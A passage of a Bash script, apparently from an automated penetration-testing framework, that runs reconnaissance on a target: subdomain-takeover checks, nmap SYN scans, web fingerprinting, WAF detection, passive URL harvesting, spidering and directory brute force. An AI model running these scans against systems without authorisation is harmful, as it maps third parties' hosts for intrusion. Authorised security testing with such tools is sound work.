if [[ $SCAN_TYPE == "DOMAIN" ]];
|
||||
then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED CHECKING FOR SUBDOMAIN HIJACKING $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
if [[ "$VERBOSE" == "1" ]]; then
|
||||
echo -e "$OKBLUE[$RESET${OKRED}i${RESET}$OKBLUE]$OKGREEN cat $LOOT_DIR/nmap/dns-$TARGET.txt 2> /dev/null | egrep -i \"wordpress|instapage|heroku|github|bitbucket|squarespace|fastly|feed|fresh|ghost|helpscout|helpjuice|instapage|pingdom|surveygizmo|teamwork|tictail|shopify|desk|teamwork|unbounce|helpjuice|helpscout|pingdom|tictail|campaign|monitor|cargocollective|statuspage|tumblr|amazon|hubspot|cloudfront|modulus|unbounce|uservoice|wpengine|cloudapp\" | tee $LOOT_DIR/nmap/takeovers-$TARGET.txt 2>/dev/null$RESET"
|
||||
fi
|
||||
cat $LOOT_DIR/nmap/dns-$TARGET.txt 2> /dev/null | egrep -i "wordpress|instapage|heroku|github|bitbucket|squarespace|fastly|feed|fresh|ghost|helpscout|helpjuice|instapage|pingdom|surveygizmo|teamwork|tictail|shopify|desk|teamwork|unbounce|helpjuice|helpscout|pingdom|tictail|campaign|monitor|cargocollective|statuspage|tumblr|amazon|hubspot|cloudfront|modulus|unbounce|uservoice|wpengine|cloudapp" | tee $LOOT_DIR/nmap/takeovers-$TARGET.txt 2>/dev/null
|
||||
source modes/osint.sh
|
||||
source modes/recon.sh
|
||||
cd $INSTALL_DIR
|
||||
echo ""
|
||||
fi
|
||||
echo ""
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED RUNNING TCP PORT SCAN $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
if [[ "$VERBOSE" == "1" ]]; then
|
||||
echo -e "$OKBLUE[$RESET${OKRED}i${RESET}$OKBLUE]$OKGREEN nmap -sS --open -Pn $TARGET -oX $LOOT_DIR/nmap/nmap-$TARGET.xml | tee $LOOT_DIR/nmap/nmap-$TARGET.txt$RESET"
|
||||
fi
|
||||
nmap -sS --open --data-length=50 -Pn $TARGET -oX $LOOT_DIR/nmap/nmap-$TARGET.xml | tee $LOOT_DIR/nmap/nmap-$TARGET.txt
|
||||
if [[ "$SLACK_NOTIFICATIONS_NMAP" == "1" ]]; then
|
||||
/bin/bash "$INSTALL_DIR/bin/slack.sh" postfile "$LOOT_DIR/nmap/nmap-$TARGET.txt"
|
||||
fi
|
||||
|
||||
port_80=`grep 'portid="80"' $LOOT_DIR/nmap/nmap-$TARGET.xml | grep open`
|
||||
port_443=`grep 'portid="443"' $LOOT_DIR/nmap/nmap-$TARGET.xml | grep open`
|
||||
|
||||
if [[ -z "$port_80" ]];
|
||||
then
|
||||
echo -e "$OKRED + -- --=[ Port 80 closed... skipping.$RESET"
|
||||
else
|
||||
echo -e "$OKORANGE + -- --=[ Port 80 opened... running tests...$RESET"
|
||||
echo "$TARGET" >> $LOOT_DIR/web/webhosts-unsorted.txt 2> /dev/null
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED CHECKING HTTP HEADERS AND METHODS $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
if [[ "$VERBOSE" == "1" ]]; then
|
||||
echo -e "$OKBLUE[$RESET${OKRED}i${RESET}$OKBLUE]$OKGREEN wget -qO- -T 1 --connect-timeout=3 --read-timeout=3 --tries=1 http://$TARGET | perl -l -0777 -ne 'print $1 if /<title.*?>\s*(.*?)\s*<\/title/si' >> $LOOT_DIR/web/title-http-$TARGET.txt 2> /dev/null$RESET"
|
||||
echo -e "$OKBLUE[$RESET${OKRED}i${RESET}$OKBLUE]$OKGREEN curl --connect-timeout=5 --max-time 3 -I -s -R http://$TARGET | tee $LOOT_DIR/web/headers-http-$TARGET.txt 2> /dev/null$RESET"
|
||||
fi
|
||||
wget -qO- -T 1 --connect-timeout=5 --read-timeout=10 --tries=1 http://$TARGET | perl -l -0777 -ne 'print $1 if /<title.*?>\s*(.*?)\s*<\/title/si' >> $LOOT_DIR/web/title-http-$TARGET.txt 2> /dev/null
|
||||
curl --connect-timeout 5 --max-time 10 -I -s -R http://$TARGET | tee $LOOT_DIR/web/headers-http-$TARGET.txt 2> /dev/null
|
||||
curl --connect-timeout 5 -s -R -L http://$TARGET > $LOOT_DIR/web/websource-http-$TARGET.txt 2> /dev/null
|
||||
curl --connect-timeout 5 --max-time 10 -I -s -R -X OPTIONS http://$TARGET | grep Allow\: | tee $LOOT_DIR/web/http_options-$TARGET-port80.txt 2> /dev/null
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED DISPLAYING META GENERATOR TAGS $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
cat $LOOT_DIR/web/websource-http-$TARGET.txt 2> /dev/null | grep generator | cut -d\" -f4 2> /dev/null | tee $LOOT_DIR/web/webgenerator-http-$TARGET.txt 2> /dev/null
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED DISPLAYING COMMENTS $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
cat $LOOT_DIR/web/websource-http-$TARGET.txt 2> /dev/null | grep "<\!\-\-" 2> /dev/null | tee $LOOT_DIR/web/webcomments-http-$TARGET 2> /dev/null
|
||||
sed -r "s/</\&lh\;/g" $LOOT_DIR/web/webcomments-http-$TARGET 2> /dev/null > $LOOT_DIR/web/webcomments-http-$TARGET.txt 2> /dev/null
|
||||
rm -f $LOOT_DIR/web/webcomments-http-$TARGET 2> /dev/null
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED DISPLAYING SITE LINKS $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
cat $LOOT_DIR/web/websource-http-$TARGET.txt 2> /dev/null | egrep "\"" | cut -d\" -f2 | grep \/ | sort -u 2> /dev/null | tee $LOOT_DIR/web/weblinks-http-$TARGET.txt 2> /dev/null
|
||||
if [[ "$WAFWOOF" = "1" ]]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED CHECKING FOR WAF $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
wafw00f http://$TARGET | tee $LOOT_DIR/web/waf-$TARGET-http.raw 2> /dev/null
|
||||
sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/web/waf-$TARGET-http.raw > $LOOT_DIR/web/waf-$TARGET-http.txt 2> /dev/null
|
||||
rm -f $LOOT_DIR/web/waf-$TARGET-http.raw 2> /dev/null
|
||||
echo ""
|
||||
fi
|
||||
if [[ "$WHATWEB" = "1" ]]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED GATHERING HTTP INFO $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
whatweb -a 3 http://$TARGET | tee $LOOT_DIR/web/whatweb-$TARGET-http.raw 2> /dev/null
|
||||
sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/web/whatweb-$TARGET-http.raw > $LOOT_DIR/web/whatweb-$TARGET-http.txt 2> /dev/null
|
||||
rm -f $LOOT_DIR/web/whatweb-$TARGET-http.raw 2> /dev/null
|
||||
fi
|
||||
if [[ "$WIG" = "1" ]]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED GATHERING SERVER INFO $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
python3 $PLUGINS_DIR/wig/wig.py -d -q http://$TARGET | tee $LOOT_DIR/web/wig-$TARGET-http
|
||||
sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/web/wig-$TARGET-http > $LOOT_DIR/web/wig-$TARGET-http.txt 2> /dev/null
|
||||
rm -f $LOOT_DIR/web/wig-$TARGET-http 2> /dev/null
|
||||
fi
|
||||
if [[ "$WEBTECH" = "1" ]]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED GATHERING WEB FINGERPRINT $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
webtech -u http://$TARGET | grep \- | cut -d- -f2- | tee $LOOT_DIR/web/webtech-$TARGET-http.txt
|
||||
fi
|
||||
if [[ "$PASSIVE_SPIDER" == "1" ]]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED RUNNING PASSIVE WEB SPIDER $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
if [[ "$VERBOSE" == "1" ]]; then
|
||||
echo -e "$OKBLUE[$RESET${OKRED}i${RESET}$OKBLUE]$OKGREEN curl -sX GET "http://index.commoncrawl.org/CC-MAIN-2019-51-index?url=*.$TARGET&output=json" | jq -r .url | egrep -v "null" | tee $LOOT_DIR/web/passivespider-$TARGET.txt 2> /dev/null$RESET"
|
||||
fi
|
||||
curl -sX GET "http://index.commoncrawl.org/CC-MAIN-2019-51-index?url=*.$TARGET&output=json" | jq -r .url | egrep -v "null" | tee $LOOT_DIR/web/passivespider-$TARGET.txt 2> /dev/null
|
||||
fi
|
||||
if [[ "$WAYBACKMACHINE" == "1" ]]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED FETCHING WAYBACK MACHINE URLS $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
if [[ "$VERBOSE" == "1" ]]; then
|
||||
echo -e "$OKBLUE[$RESET${OKRED}i${RESET}$OKBLUE]$OKGREEN curl -sX GET "http://web.archive.org/cdx/search/cdx?url=*.$TARGET/*&output=text&fl=original&collapse=urlkey" | tee $LOOT_DIR/web/waybackurls-$TARGET.txt 2> /dev/null$RESET"
|
||||
fi
|
||||
curl -sX GET "http://web.archive.org/cdx/search/cdx?url=*.$TARGET/*&output=text&fl=original&collapse=urlkey" | tee $LOOT_DIR/web/waybackurls-$TARGET.txt 2> /dev/null
|
||||
fi
|
||||
if [[ "$HACKERTARGET" == "1" ]]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED FETCHING HACKERTARGET URLS $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
curl -sX GET "http://api.hackertarget.com/pagelinks/?q=http://$TARGET" | egrep -v "API count|no links found|input url is invalid|API count|no links found|input url is invalid" | tee $LOOT_DIR/web/hackertarget-http-$TARGET.txt 2> /dev/null
|
||||
echo " "
|
||||
fi
|
||||
if [[ "$BLACKWIDOW" == "1" ]]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED RUNNING ACTIVE WEB SPIDER $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
if [[ "$VERBOSE" == "1" ]]; then
|
||||
echo -e "$OKBLUE[$RESET${OKRED}i${RESET}$OKBLUE]$OKGREEN blackwidow -u http://$TARGET:80 -l 2 $RESET"
|
||||
fi
|
||||
touch $LOOT_DIR/web/spider-$TARGET.txt 2>/dev/null
|
||||
cp $LOOT_DIR/web/spider-$TARGET.txt $LOOT_DIR/web/spider-$TARGET.bak 2>/dev/null
|
||||
blackwidow -u http://$TARGET:80 -l 2 -v n
|
||||
cp -f /usr/share/blackwidow/"$TARGET"_80/"$TARGET"_80-*.txt $LOOT_DIR/web/ 2>/dev/null
|
||||
cat /usr/share/blackwidow/"$TARGET"_*/"$TARGET"_*-urls-sorted.txt > $LOOT_DIR/web/spider-$TARGET.txt 2>/dev/null
|
||||
cat $LOOT_DIR/web/waybackurls-$TARGET.txt 2> /dev/null >> $LOOT_DIR/web/spider-$TARGET.txt 2>/dev/null
|
||||
cat $LOOT_DIR/web/hackertarget-*-$TARGET.txt 2> /dev/null >> $LOOT_DIR/web/spider-$TARGET.txt 2>/dev/null
|
||||
cat $LOOT_DIR/web/passivespider-$TARGET.txt 2> /dev/null >> $LOOT_DIR/web/spider-$TARGET.txt 2>/dev/null
|
||||
sed -ir "s/</\&lh\;/g" $LOOT_DIR/web/spider-$TARGET.txt 2>/dev/null
|
||||
sort -u $LOOT_DIR/web/spider-$TARGET.txt 2>/dev/null > $LOOT_DIR/web/spider-$TARGET.sorted 2>/dev/null
|
||||
mv $LOOT_DIR/web/spider-$TARGET.sorted $LOOT_DIR/web/spider-$TARGET.txt 2>/dev/null
|
||||
diff $LOOT_DIR/web/spider-$TARGET.bak $LOOT_DIR/web/spider-$TARGET.txt 2> /dev/null | grep "> " 2> /dev/null | awk '{print $2}' 2> /dev/null > $LOOT_DIR/web/spider-new-$TARGET.txt
|
||||
if [[ "$SLACK_NOTIFICATIONS_SPIDER_NEW" == "1" ]]; then
|
||||
/bin/bash "$INSTALL_DIR/bin/slack.sh" postfile "$LOOT_DIR/web/spider-new-$TARGET.txt"
|
||||
fi
|
||||
fi
|
||||
if [[ "$WEB_BRUTE_STEALTHSCAN" == "1" ]]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED RUNNING FILE/DIRECTORY BRUTE FORCE $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
if [[ "$VERBOSE" == "1" ]]; then
|
||||
echo -e "$OKBLUE[$RESET${OKRED}i${RESET}$OKBLUE]$OKGREEN python3 $PLUGINS_DIR/dirsearch/dirsearch.py -u http://$TARGET -w $WEB_BRUTE_STEALTH -x 400,403,404,405,406,429,502,503,504 -F -e php,asp,aspx,bak,zip,tar.gz,html,htm $RESET"
|
||||
fi
|
||||
if [[ "$DIRSEARCH" == "1" ]]; then
|
||||
touch $LOOT_DIR/web/dirsearch-$TARGET.bak 2> /dev/null
|
||||
cp $LOOT_DIR/web/dirsearch-$TARGET.txt $LOOT_DIR/web/dirsearch-$TARGET.bak 2> /dev/null
|
||||
python3 $PLUGINS_DIR/dirsearch/dirsearch.py -u http://$TARGET -w $WEB_BRUTE_STEALTH -x 400,403,404,405,406,429,502,503,504 -F -e * -t $THREADS --random-agents --plain-text-report=$LOOT_DIR/web/dirsearch-$TARGET.txt 2> /dev/null > /dev/null && cat $LOOT_DIR/web/dirsearch-$TARGET.txt
|
||||
cat $PLUGINS_DIR/dirsearch/reports/$TARGET/* 2> /dev/null
|
||||
cat $PLUGINS_DIR/dirsearch/reports/$TARGET/* > $LOOT_DIR/web/dirsearch-$TARGET.txt 2> /dev/null
|
||||
sort -u $LOOT_DIR/web/dirsearch-$TARGET.txt 2> /dev/null > $LOOT_DIR/web/dirsearch-$TARGET.sorted 2> /dev/null
|
||||
mv $LOOT_DIR/web/dirsearch-$TARGET.sorted $LOOT_DIR/web/dirsearch-$TARGET.txt 2> /dev/null
|
||||
diff $LOOT_DIR/web/dirsearch-$TARGET.bak $LOOT_DIR/web/dirsearch-$TARGET.txt 2> /dev/null | grep "> " 2> /dev/null | awk '{print $2 " " $3 " " $4}' 2> /dev/null > $LOOT_DIR/web/dirsearch-new-$TARGET.txt
|
||||
if [[ "$SLACK_NOTIFICATIONS_DIRSEARCH_NEW" == "1" ]]; then
|
||||
/bin/bash "$INSTALL_DIR/bin/slack.sh" postfile "$LOOT_DIR/web/dirsearch-new-$TARGET.txt"
|
||||
fi
|
||||
fi
|
||||
if [[ "$GOBUSTER" == "1" ]]; then
|
||||
gobuster -u http://$TARGET -w $WEB_BRUTE_STEALTH -e | tee $LOOT_DIR/web/webbrute-$TARGET-http-stealth.txt
|
||||
sort -u $LOOT_DIR/web/webbrute-$TARGET-*.txt 2> /dev/null > $LOOT_DIR/web/webbrute-$TARGET.txt 2> /dev/null
|
||||
fi
|
||||
wget http://$TARGET/robots.txt -O $LOOT_DIR/web/robots-$TARGET-http.txt 2> /dev/null
|
||||
egrep -v '<|>|;|(|)' $LOOT_DIR/web/robots-$TARGET-http.txt | tee $LOOT_DIR/web/robots-$TARGET-http.txt
|
||||
fi
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED SAVING SCREENSHOTS $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
if [[ $CUTYCAPT = "1" ]]; then
|
||||
if [[ $DISTRO == "blackarch" ]]; then
|
||||
/bin/CutyCapt --url=http://$TARGET --out=$LOOT_DIR/screenshots/$TARGET-port80.jpg --insecure --max-wait=5000 2> /dev/null
|
||||
else
|
||||
if [[ "$VERBOSE" == "1" ]]; then
|
||||
echo -e "$OKBLUE[$RESET${OKRED}i${RESET}$OKBLUE]$OKGREEN cutycapt --url=http://$TARGET --out=$LOOT_DIR/screenshots/$TARGET-port80.jpg --insecure --max-wait=5000 2> /dev/null$RESET"
|
||||
fi
|
||||
cutycapt --url=http://$TARGET --out=$LOOT_DIR/screenshots/$TARGET-port80.jpg --insecure --max-wait=5000 2> /dev/null
|
||||
fi
|
||||
fi
|
||||
if [[ $WEBSCREENSHOT = "1" ]]; then
|
||||
cd $LOOT_DIR
|
||||
python2 $INSTALL_DIR/bin/webscreenshot.py -r chromium http://$TARGET:80
|
||||
fi
|
||||
fi
|
||||
|
||||
if [[ -z "$port_443" ]];
|
||||
then
|
||||
echo -e "$OKRED + -- --=[ Port 443 closed... skipping.$RESET"
|
||||
else
|
||||
echo -e "$OKORANGE + -- --=[ Port 443 opened... running tests...$RESET"
|
||||
echo "$TARGET" >> $LOOT_DIR/web/webhosts-unsorted.txt 2> /dev/null
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED CHECKING HTTP HEADERS AND METHODS $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
if [[ "$VERBOSE" == "1" ]]; then
|
||||
echo -e "$OKBLUE[$RESET${OKRED}i${RESET}$OKBLUE]$OKGREEN wget -qO- -T 1 --connect-timeout=3 --read-timeout=3 --tries=1 https://$TARGET | perl -l -0777 -ne 'print $1 if /<title.*?>\s*(.*?)\s*<\/title/si' >> $LOOT_DIR/web/title-https-$TARGET.txt 2> /dev/null$RESET"
|
||||
echo -e "$OKBLUE[$RESET${OKRED}i${RESET}$OKBLUE]$OKGREEN curl --connect-timeout=5 --max-time 3 -I -s -R https://$TARGET | tee $LOOT_DIR/web/headers-https-$TARGET.txt 2> /dev/null$RESET"
|
||||
fi
|
||||
wget -qO- -T 1 --connect-timeout=5 --read-timeout=10 --tries=1 https://$TARGET | perl -l -0777 -ne 'print $1 if /<title.*?>\s*(.*?)\s*<\/title/si' >> $LOOT_DIR/web/title-https-$TARGET.txt 2> /dev/null
|
||||
curl --connect-timeout 5 --max-time 10 -I -s -R https://$TARGET | tee $LOOT_DIR/web/headers-https-$TARGET.txt 2> /dev/null
|
||||
curl --connect-timeout 5 -s -R -L https://$TARGET > $LOOT_DIR/web/websource-https-$TARGET.txt 2> /dev/null
|
||||
curl --connect-timeout 5 --max-time 10 -I -s -R -X OPTIONS https://$TARGET | grep Allow\: | tee $LOOT_DIR/web/http_options-$TARGET-port443.txt 2> /dev/null
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED DISPLAYING META GENERATOR TAGS $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
cat $LOOT_DIR/web/websource-https-$TARGET.txt 2> /dev/null | grep generator | cut -d\" -f4 2> /dev/null | tee $LOOT_DIR/web/webgenerator-https-$TARGET.txt 2> /dev/null
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED DISPLAYING COMMENTS $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
cat $LOOT_DIR/web/websource-https-$TARGET.txt 2> /dev/null | grep "<\!\-\-" 2> /dev/null | tee $LOOT_DIR/web/webcomments-https-$TARGET 2> /dev/null
|
||||
sed -r "s/</\&lh\;/g" $LOOT_DIR/web/webcomments-https-$TARGET 2> /dev/null > $LOOT_DIR/web/webcomments-https-$TARGET.txt 2> /dev/null
|
||||
rm -f $LOOT_DIR/web/webcomments-https-$TARGET 2> /dev/null
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED DISPLAYING SITE LINKS $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
cat $LOOT_DIR/web/websource-https-$TARGET.txt 2> /dev/null | egrep "\"" | cut -d\" -f2 | grep \/ | sort -u 2> /dev/null | tee $LOOT_DIR/web/weblinks-https-$TARGET.txt 2> /dev/null
|
||||
if [[ "$WAFWOOF" = "1" ]]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED CHECKING FOR WAF $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
wafw00f https://$TARGET | tee $LOOT_DIR/web/waf-$TARGET-https.raw 2> /dev/null
|
||||
sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/web/waf-$TARGET-https.raw > $LOOT_DIR/web/waf-$TARGET-https.txt 2> /dev/null
|
||||
rm -f $LOOT_DIR/web/waf-$TARGET-https.raw 2> /dev/null
|
||||
echo ""
|
||||
fi
|
||||
if [[ "$WHATWEB" = "1" ]]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED GATHERING HTTP INFO $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
whatweb -a 3 https://$TARGET | tee $LOOT_DIR/web/whatweb-$TARGET-https.raw 2> /dev/null
|
||||
sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/web/whatweb-$TARGET-https.raw > $LOOT_DIR/web/whatweb-$TARGET-https.txt 2> /dev/null
|
||||
rm -f $LOOT_DIR/web/whatweb-$TARGET-https.raw 2> /dev/null
|
||||
fi
|
||||
if [[ "$WIG" = "1" ]]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED GATHERING SERVER INFO $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
python3 $PLUGINS_DIR/wig/wig.py -d -q https://$TARGET | tee $LOOT_DIR/web/wig-$TARGET-https
|
||||
sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/web/wig-$TARGET-https > $LOOT_DIR/web/wig-$TARGET-https.txt 2> /dev/null
|
||||
rm -f $LOOT_DIR/web/wig-$TARGET-https 2> /dev/null
|
||||
fi
|
||||
if [[ "$WEBTECH" = "1" ]]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED GATHERING WEB FINGERPRINT $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
webtech -u https://$TARGET | grep \- | cut -d- -f2- | tee $LOOT_DIR/web/webtech-$TARGET-https.txt
|
||||
fi
|
||||
if [[ "$PASSIVE_SPIDER" = "1" ]]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED RUNNING PASSIVE WEB SPIDER $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
if [[ "$VERBOSE" == "1" ]]; then
|
||||
echo -e "$OKBLUE[$RESET${OKRED}i${RESET}$OKBLUE]$OKGREEN curl -sX GET "http://index.commoncrawl.org/CC-MAIN-2019-51-index?url=*.$TARGET&output=json" | jq -r .url | egrep -v "null" | tee $LOOT_DIR/web/spider-$TARGET.txt 2> /dev/null$RESET"
|
||||
fi
|
||||
curl -sX GET "http://index.commoncrawl.org/CC-MAIN-2019-51-index?url=*.$TARGET&output=json" | jq -r .url | egrep -v "null" | tee $LOOT_DIR/web/passivespider-$TARGET.txt 2> /dev/null
|
||||
fi
|
||||
if [[ "$WAYBACKMACHINE" == "1" ]]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED FETCHING WAYBACK MACHINE URLS $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
if [[ "$VERBOSE" == "1" ]]; then
|
||||
echo -e "$OKBLUE[$RESET${OKRED}i${RESET}$OKBLUE]$OKGREEN curl -sX GET "http://web.archive.org/cdx/search/cdx?url=*.$TARGET/*&output=text&fl=original&collapse=urlkey" | tee $LOOT_DIR/web/waybackurls-$TARGET.txt 2> /dev/null$RESET"
|
||||
fi
|
||||
curl -sX GET "http://web.archive.org/cdx/search/cdx?url=*.$TARGET/*&output=text&fl=original&collapse=urlkey" | tee $LOOT_DIR/web/waybackurls-$TARGET.txt 2> /dev/null
|
||||
fi
|
||||
if [[ "$HACKERTARGET" == "1" ]]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED FETCHING HACKERTARGET URLS $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
